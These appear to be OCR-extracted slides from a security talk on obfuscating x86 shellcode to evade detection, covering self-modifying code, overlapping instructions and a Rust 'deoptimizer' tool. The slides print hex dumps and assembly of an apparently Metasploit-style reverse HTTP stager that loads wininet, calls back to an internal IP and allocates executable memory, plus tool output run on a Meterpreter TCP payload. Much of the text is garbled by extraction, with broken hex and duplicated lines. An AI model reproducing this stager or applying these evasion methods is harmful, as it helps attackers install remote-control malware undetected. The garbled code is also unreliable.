00007FF756051005 C9 BA 12 00 00 00007FF756051015 80 30 55 48 FF	00 48 39 D1 74 15 80 30 11 FE 08 C0 48 FF C1 EB EB E8 DD FF FF FF	E°H9NTO.D. .OUHVAHVAēēèÝVVV
00007FF756051025 2A 39 2C 22 2C	2D 24 2B 67 36 2F 20 2B 2B 26 2A	*9,",-\$+g6/ ++&*
00007FF756051035 23 20 00 00 00 00007FF756051045 00 00 00 00 00		#

- Scope
- Self-modifing Code
- Code With Data
- Overlapping Instructions

00000070:	18 50	<mark>e3</mark> 56	48ff	c941	<mark>8b</mark> 34	<mark>88</mark> 4d	31 <mark>c</mark> 9	4801	.P.VHA.4.M1.H.
00000080:	<mark>d6</mark> 48	31 <mark>c0</mark>	ac41		0 d 41		38 <mark>e0</mark>	75 f1	.H1AA8.u.
00000090:	4c03	4c24	<mark>08</mark> 45	39 <mark>d1</mark>	75 <mark>d8</mark>	5844	<mark>8b</mark> 40	2449	L.L\$.E9.u.XD.@\$I
000000a0:		6641		4844	<mark>8b</mark> 40	1c 49		41 <mark>8b</mark>	fAHD.@.IA.
00000060:		4801	<mark>d0</mark> 41	5841	585e	595a	4158	4159	••H••AXAX^YZAXAY
00000c0:	415a	48 <mark>83</mark>	ec20	4152	ff <mark>e0</mark>	5841	595a	48 <mark>8b</mark>	AZH ARXAYZH.
000000d0:		4bff	ffff	5d48	31 <mark>db</mark>	5349	be77	696e	K]H1.SI.win
000000e0:	696e	6574	00 <mark>41</mark>	5648		49 <mark>c7</mark>	c24c	7726	<pre>inet.AVHILw&</pre>
000000f0:	07ff	<mark>d5</mark> 53	5348		535a	4d31	c04d	31 <mark>c9</mark>	SSHSZM1.M1.
00000100:	5353	49 <mark>ba</mark>	3a56	79 <mark>a7</mark>	0000	0000	ff <mark>d5</mark>	<mark>e8</mark> 09	SSI.:Vy
00000110:	0000	00 <mark>31</mark>	302e	302e	302e	3400	5a48		10.0.0.4.ZH
00000120:	49 <mark>c7</mark>		1f 00	00 <mark>4d</mark>	31 <mark>c9</mark>	5353	6a <mark>03</mark>	5349	IM1.SSj.SI
00000130:	ba57		c6 00	0000	00 ff		9100	0000	•W•••••
00000140:	2f39	726d	6937	444d	6868	4962	7945	504d	/9rmi7DMhhIbyEPM
00000150:	536c	4273	6d37	7756	7653	3264	2d78	6367	SlBsm7wVvS2d-xcg
00000160:	754a	5231	5142	5033	6e77	4134	544c	2d49	uJR1QBP3nwA4TL-I
00000170:	5344	6970	3264	5f37	5743	6c31	3757	6a4e	SDip2d_7WCl17WjN
00000180:	7477	7859	6c6a	6c37	5834	7144	7647	3262	twxYljl7X4qDvG2b
00000190:	6a69	4c64	5052	764e	6966	696b	3663	3742	jiLdPRvNifik6c7B
000001a0:	7448	3242	6370	4242	5875	6236	3762	364b	tH2BcpBBXub67b6K
000001b0:	366f	4454	7558	4948	644f	4758	4e69	6 f 58	6oDTuXIHdOGXNioX
000001c0:	3836	4335	4535	496c	6 f 55	6442	622d	7154	86C5E5IloUdBb-qT
000001d0:	0048	89c1	535a	4158	4d31	c953	48 <mark>b</mark> 8	0032	.HSZAXM1.SH2
000001e0:		0000	0000	5053	5349		eb55	2e3b	PSSIU.;
000001f0:	ff <mark>d5</mark>	48 <mark>89</mark>	<mark>c6</mark> 6a	0a5f	48 <mark>89</mark>	f1 6a	1f 5a	5268	HjHj.ZRh
00000200:	8033	0000	49 <mark>89</mark>	e06a	0441	5949	ba75	46 <mark>9e</mark>	.3Ij.AYI.uF.
00000210:	8600	0000	00 ff	d54d	31 <mark>c0</mark>	535a	48 <mark>89</mark>	f1 4d	••••••M1•SZH••M
00000220:	31 <mark>c9</mark>	4d31	<mark>c9</mark> 53	5349		2d06	18 7b	ff <mark>d5</mark>	1.M1.SSI{

iz failure	
imp short internetsetoption	
dbl_get_server_host:	
jmp get_server_host	
get_server_uri:	
call httpopenrequest	
server_uri:	
db "/12345", 0x00	
failure:	
failure: mov r14, 0x56A2B5F0 ; hardcoded to @	exitprocess for size
failure: mov r14, 0x56A2B5F0 ; hardcoded to e call rbp	exitprocess for size
<pre>failure: mov r14, 0x56A2B5F0 ; hardcoded to e call rbp</pre>	exitprocess for size
<pre>failure: mov r14, 0x56A2B5F0 ; hardcoded to e call rbp allocate_memory:</pre>	exitprocess for size
<pre>failure: mov r14, 0x56A2B5F0 ; hardcoded to e call rbp allocate_memory: xor rcx, rcx ; LPVOID lpAddre</pre>	exitprocess for size ess
<pre>failure: mov r14, 0x56A2B5F0 ; hardcoded to e call rbp allocate_memory: xor rcx, rcx ; LPVOID lpAddre mov rdx, 0x00400000 ; SIZE_T dwSize</pre>	exitprocess for size ess
<pre>failure: mov r14, 0x56A2B5F0 ; hardcoded to e call rbp allocate_memory: xor rcx, rcx ; LPVOID lpAddre mov rdx, 0x00400000 ; SIZE_T dwSize mov r8, 0x1000 ; DWORD flAlloca</pre>	exitprocess for size ess ationType(MEM_COMMIT)
<pre>failure: mov r14, 0x56A2B5F0 ; hardcoded to e call rbp allocate_memory: xor rcx, rcx ; LPVOID lpAddre mov rdx, 0x00400000 ; SIZE_T dwSize mov r8, 0x1000 ; DWORD flAlloca mov r9, 0x40 ; DWORD flProted</pre>	exitprocess for size ess ationType(MEM_COMMIT) ct(PAGE_EXECUTE_READWRITE)
<pre>failure: mov r14, 0x56A2B5F0 ; hardcoded to e call rbp allocate_memory: xor rcx, rcx ; LPVOID lpAddre mov rdx, 0x00400000 ; SIZE_T dwSize mov r8, 0x1000 ; DWORD flAlloca mov r9, 0x40 ; DWORD flProtec mov r10, 0xE553A458 ; hash("kernel3)</pre>	exitprocess for size ess ationType(MEM_COMMIT) ct(PAGE_EXECUTE_READWRITE) 32.dll", "VirtualAlloc")

- Scope
- Self-modifing Code
- Code With Data
- Overlapping Instructions

0000:	Β8	00	03	C1	BB	mov	eax,	0xBBC10300	
0005:	B9	00	00	00	05	mov	ecx,	0x05000000	
000A:	03	С1				add	eax,	ecx	
000C:	EB	F4				jmp	\$-10		
000E:	03	C3				add	eax,	ebx	
0010:	С3					ret			

*# Deoptimizer Tool

https://github.com/EgeBalci/deoptimizer

- Fully written in Rust!
- No external dependencies
- Iced_x86 disassembler library

To-Do:

- · Add PE support
- Add ELF support
- Add ARM architecture
- Add RISC architecture

 / De-Opt	/ \ [(%) (4) [] []		
r			
Architecture:	x86		
Input File:	./test/met64 tcp 192.168.5.136 9090.bin		
Output File:	/tmp/at		
	0x00000000000000		
Frequency:	%100.0000		
<pre>[!] Deoptimizat [!] The output s [*] Input file s [*] Analyzing in [*] Analyzing 44</pre>	on parameters are too aggressive! .ize will drasstically increase. .ize: 449 put binary 19 bytes with 64 bit mode		
[*] Deoptimizing			
000000000000000000000000000000000000000			
000000000000000000000000000000000000000			
000000000000000000000000000000000000000		or rsp,orn	
00000000000000000			
000000000000000000000000000000000000000	nuch r0		
000000000000000000000000000000000000000	n push rs		
000000000000000000000000000000000000000			
000000000000000000000000000000000000000			
000000000000000000000000000000000000000			

Thanks! Questions?

